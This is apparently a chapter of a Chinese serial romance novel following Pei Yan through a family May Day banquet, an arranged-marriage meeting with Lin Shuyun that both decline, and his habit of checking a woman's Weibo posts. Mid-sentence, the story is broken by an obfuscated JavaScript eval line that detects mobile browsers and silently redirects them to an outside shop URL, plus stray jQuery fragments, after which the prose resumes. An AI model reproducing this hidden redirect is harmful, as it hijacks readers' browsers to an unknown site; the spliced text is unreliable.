4月30日，裴砚一早就回了裴家老宅。母亲沈静慈把他叫回来，名义上是为明天五一正宴做准备，实际上是把林家的情况提前给他做功课——林书蕴在法国读的什么专业、拿过什么奖、钢琴弹到什么水平，一条条说给他听。
裴砚坐在沙发上听着，没应声，也没走神，就是那种让人挑不出错也摸不透的沉默。沈静慈问他记住了没有，他说记住了。他知道她没信，但他也没力气解释。
下午，裴砚躲到后院的老藤椅上躺着。槐树的枝桠遮了大半边天，阳光从叶子缝里漏下来，地上的光斑碎成一片。他闭着眼睛，什么都不想，又好像什么都想。
傍晚，大哥裴岳回来，在书房里，关于联姻的事问他：“你怎么想的？”
“没怎么想。”
裴岳看了他一眼，那目光和父亲裴振平一模一样——不追问，不逼迫，但什么都知道。最后只说了一句：“你自己看着办。但别拖太久，拖久了林家那边会以为我们拿乔。”
裴砚点头，从书房出来时在走廊里站了一会儿，走廊尽头是他小时候住过的房间，门关着，里面放满了不再翻阅的书和不再有人提起的记忆。
晚上，裴砚躺在床上，打开手机，登录微博。那个小号今天更新了一条——她自己煮的面，只配了酱菜，很素，但她吃完了，还拍了空碗的照片，配文是“光盘行动”。他看了几秒，锁屏，把手机扣在床头柜上，盯着天花板上那盏吸顶灯，很久才睡着。
裴砚睡得很浅，做了好几个零碎的梦，醒来一个都不记得，只觉得累。
裴家老宅坐落在后海附近的胡同深处，灰砖青瓦，朱红大门常年关着，门口连块牌子都没有，只有一对石狮子守着。但拐进去之后别有洞天——三进院落，前院有棵百年槐树，中院的正厅用来待客，后院住人。
今天是五一，裴家家族聚餐，来的不只是裴振平这一支，还有裴振平的大哥裴振东、小妹裴振宁两家人。每年五一和国庆，三家人轮流做东，今年轮到裴振平这一支，地点在老宅。
正厅里摆了三张大圆桌，长辈们坐主桌，年轻一辈分坐两桌，孩子们满地跑。厨子是从老字号请来的，菜单是沈静慈亲自拟定的，桌上冷盘已经摆好，热菜一道道往上端。
裴砚来得不早不晚，进正厅时堂兄裴朔——大伯裴振东的大儿子——正站在廊下打电话，见他进来，抬手打了个招呼，又指指里面，意思是“人都到了，快进去”。裴砚点了下头，径直走进正厅。
裴岳和傅敏之已经到了，坐在主桌旁边的那张桌子上，正和父亲裴振远聊着什么。傅敏之穿一件豆绿暗纹旗袍领上衣，头发挽成低髻，手里端着茶盏，偶尔插一两句话。
二哥裴钧和温以晴坐在另一侧，裴钧正低头跟温以晴说悄悄话，温以晴笑着拍了他一下。裴砚走过去，拉开椅子坐下。裴钧抬头看他：“来了？”
裴砚嗯了一声。
裴钧又问：“昨晚没睡好？”
裴砚没答，端起桌上的茶杯喝了一口。裴钧打量了他几秒，没追问，转头继续跟温以晴说话。
主桌那边，沈静慈正跟裴振宁说话。裴振宁是几个长辈里最敢说的，喝了口茶，不紧不慢地开口：“嫂子，听说你们在跟林家接触？书蕴那孩子我见过，不错。”
沈静慈笑吟吟地回道：“是，刚回国，学艺术管理的。我们想着五一两家一起吃顿饭，先见见。”
裴振宁哦了一声，语气意味深长：“林家那丫头确实不错，不过现在的年轻人，都有自己的主意。”
沈静慈放下茶盏，笑着把话接过去：“有主意是好事，书蕴这孩子有想法，见见总无妨。”
她们说话的声音不大不小，刚好能传到旁边那桌。裴钧在桌下踢了裴砚一脚，压低声音：“听见没？说你呢。”
裴砚面无表情：“听见了。”
裴钧又问：“你怎么想的？”
裴砚端起茶杯：“没怎么想。”
裴钧还想再说什么，温以晴轻轻拉了拉他的袖子。裴钧转头看她，她用眼神示意他别追问。裴钧无奈地摇摇头，端起酒杯喝了一口。
开席后，裴岳作为长兄，先站起来简单说了几句，无非是感谢大家今天聚在一起，祝长辈们身体健康，然后带头敬了杯酒。长辈们纷纷举杯，气氛热闹起来。
裴砚坐在位子上，该敬酒时敬酒，该吃菜时吃菜，该回答长辈问话时简短回答——最近在做什么、回国适应了吗、以后有什么打算。他的回答依次是：没什么特别的，还好，没想好。
沈静慈在主桌看着，心里叹了口气，面上却还是笑着跟裴振宁说这孩子从小就话少。
席间孩子们在院子里跑进跑出，有个五六岁的小女孩跑到裴砚旁边躲猫猫，抓着他裤腿不肯松手。裴砚低头看了看她，往旁边挪了挪给她腾地方。小女孩又往他身后缩了缩，他顿了一下，没动，任她躲着。小女孩的妈妈过来抱人时不好意思地朝他点点头，他摇头，说没事。
裴钧看着这一幕，笑了笑。温以晴轻声说了句，“他挺喜欢小孩？”
裴钧嗯了一声，没再往下说。
宴席散后，裴砚一个人走到后院，在藤椅上坐下，槐树的叶子在头顶被风吹得翻过来又翻过去。
他掏出手机，打开她的微博。她更新了——一张国旗照片，配文是小小的国旗emoji，发布于凌晨五点多。
她真的去了。凌晨一点排队，两点四十开闸，三点过安检，在人群里奔跑冲刺，最后站在人潮中看着这面旗升起来。她没有发自己的照片，但裴砚发现自己正在想她站在人群里的样子——应该是仰着头的，眼睛很亮，和上次在会所里面对刀子时那种亮不一样，是另一种。
他没见过她看升旗的样子，但他见过她面对刀子时的表情，见过她在车上睡着时的呼吸，见过她竖大拇指时眼底一闪而过的狡黠。他把这些碎片拼在一起，拼出了一个不存在的画面。
他锁屏，把手机放回口袋。藤椅轻轻晃了晃，阳光透过槐树叶落在他脸上。裴砚闭上眼，觉得自己刚才的行为很无聊。想象一个人的表情，这不是他会做的事。
5月2日中午，国宾馆的包间里，裴林两家正式聚餐。包间比昨天的家族宴席更正式，雕花屏风隔开休息区和用餐区，菜品按位上，从冷盘到主菜到甜品，每一道都精致得像杂志封面。
裴砚穿深色正装，林书蕴穿藏蓝色连衣裙，领口别了一枚小巧的珐琅胸针。两人被安排在相邻位置，席间双方长辈言笑晏晏，从两家父辈的交情聊到各自企业最近的动向，话里话外都在为这桩联姻铺垫氛围。
裴砚全程配合出席，敬酒，回答问话，简短，不过场。林书蕴也落落大方，谈起在法国学艺术管理的经历，又聊了聊对国内艺术品市场的看法，逻辑清晰，进退有度。两家长辈交换了好几次满意的眼色，沈静慈更是笑得合不拢嘴。
饭后长辈们又安排两个年轻人单独说说话。两人沿着庭院的长廊并肩走了几步，保持着半臂的距离。
五月的午后已经开始闷热，长廊两侧的盆景被修剪得一丝不苟。林书蕴先开口，语气和刚才在饭桌上聊艺术品市场时差不多——冷静，简洁，不带多余的情绪：“你应该也看出来了，这顿饭是什么意思。”
裴砚嗯了一声。
她又问：“你的想法？”
“没想法。”
林书蕴点点头，似乎这个答案完全在她意料之中。她停下脚步，转身面对他，说：“那正好。我对你也没有想法。这桩联姻，我不想接。”她的语气不像是商量，更像是通知——她已经做好了自己的决定，现在只是礼貌性地告知对方。
裴砚看着她，沉默了片刻。然后他说：“好。”没有问为什么，没有追问她打算怎么跟家里交代，一个字，干脆利落。
林书蕴多看了他一眼。大概是在确认这个“好”是真心的，还是另一个敷衍。片刻后，她收回目光，说了句：“那接下来就好办了。”然后转身往回走，没有再多说一个字。
回到公寓后，裴砚换下正装，坐在沙发上，下意识打开她的微博。她今天发了新内容——一张黄玫瑰的照片，配了一首五月天的《玫瑰少年》。花瓶是透明玻璃的，放在书桌上，和他记忆中放芍药的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634936|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
位置一样。
裴砚盯着那张照片看了很久，然后打开备忘录，光标在“不吃葱”下面闪了几秒。他打了一行字，又删掉，锁屏，把手机扣在茶几上。
这边林书蕴在饭局上确认裴砚心不在焉、绝非合适的联姻对象之后，便主动给霍云峥打了电话。她和霍云峥此前在一些家族社交场合打过照面，但没有深交。
她找他的理由很直接：他是裴砚最信得过的朋友，而这个三人局由他来组，既不会让长辈们觉得难堪，也能让裴砚真正坐下来听她把话说完。
霍云峥接到电话时，正在家翻一本军事杂志。他听完林书蕴简洁利落的陈述——她需要和裴砚把联姻的事说清楚，希望他帮忙组个局——沉默片刻，回了句：“你倒是直接。”
“拐弯抹角浪费大家时间。”
霍云峥在电话这头笑了一下，“行，我来安排。”
挂了电话，霍云峥给裴砚发了条消息，语气一如既往的简练：“明晚七点，老地方，三人局。林书蕴也在。”
裴砚回了个问号。
霍云峥没解释，只补了句：“她把话挑明，你也省得再被家里念叨。”
裴砚没再追问。他知道霍云峥不是那种会替人组相亲局的人。他肯组这个局，说明林书蕴要说的话，确实值得一听。
5月3日晚上，三人坐在亮马桥附近一家不挂招牌的私房菜馆。林书蕴先到，穿深蓝色衬衫配长裤，头发随意挽在脑后，比昨天放松了不少。霍云峥第二，裴砚最后推门进来，脚步顿了一下，然后拉开椅子坐下。
包厢很小，只有一张方桌和四把椅子，落地窗外是亮马河。林书蕴给他倒了一杯茶，开口很简洁：“今天这个局是我找霍哥组的。联姻的事，我们得统一口径。”
裴砚点头。
她又说：“长辈那边，我建议先拖着，不用说死。说死了他们又会安排下一个。”
裴砚端起茶杯，又点了一下头。
林书蕴看了他一眼，说：“你就不能多说一个字？”
裴砚说：“可以。”
林书蕴沉默了一秒，“算了。”
霍云峥靠在椅背上，看着这两个人的对话，嘴角微不可察地动了一下。
之后聊的都是应对策略——五一过后长辈肯定还会再安排见面，能推就推，不能推就敷衍，两家都别主动表态。林书蕴语气干练，条理清晰，像在开一场小型会议，时不时刻意把话头抛向霍云峥，让他以“局外人”的视角补充几句，裴砚全程听着，偶尔在关键处说一两个字。
饭局快结束时，林书蕴忽然转过来，看着裴砚：“昨天那个问题，我收回。”
裴砚抬眼。
“我问你有没有想法，你说没有。后来我想了一下——你不是没有想法，你是不想说。”
裴砚没反驳。
林书蕴站起来拿起外套：“那就不说吧。反正跟我没关系。希望这件事之后能继续保持战线统一。”
裴砚说：“好。”
林书蕴拿起外套走了，霍云峥起身送了两步，门口说了句“路上小心”，林书蕴回头看了他一眼，“你倒是挺会照顾人的。”
霍云峥没答，只是微微点一下头。他回到座位上后，发现自己的打火机不知什么时候被挪到了茶杯旁边——林书蕴走之前推过来的。刚才她坐的位置上，杯沿还有一抹未干的唇印。
霍云峥之后接了个电话，向裴砚挥手，示意走了。
裴砚一个人坐在包厢里，看着窗外亮马河的灯光倒映在水面上。打开手机，她今天凌晨两点发了和一个女生一起去城楼、人民大会堂、吃美食的照片，配文是很开心^_^
她今天很开心。
裴砚把那些照片来回翻了好几遍，放大看每一张图，确认她吃了东西。然后他打开备忘录，在“怕敲门声”下面打了一行字，手指在键盘上停了一瞬，然后删掉，锁屏，拿起车钥匙。
回公寓的路上绕了远路，经过八角。那扇南窗的灯已经灭了。裴砚没有停，只是放慢了车速，看了一眼小区门口那盏路灯，然后继续往东三环的方向开去。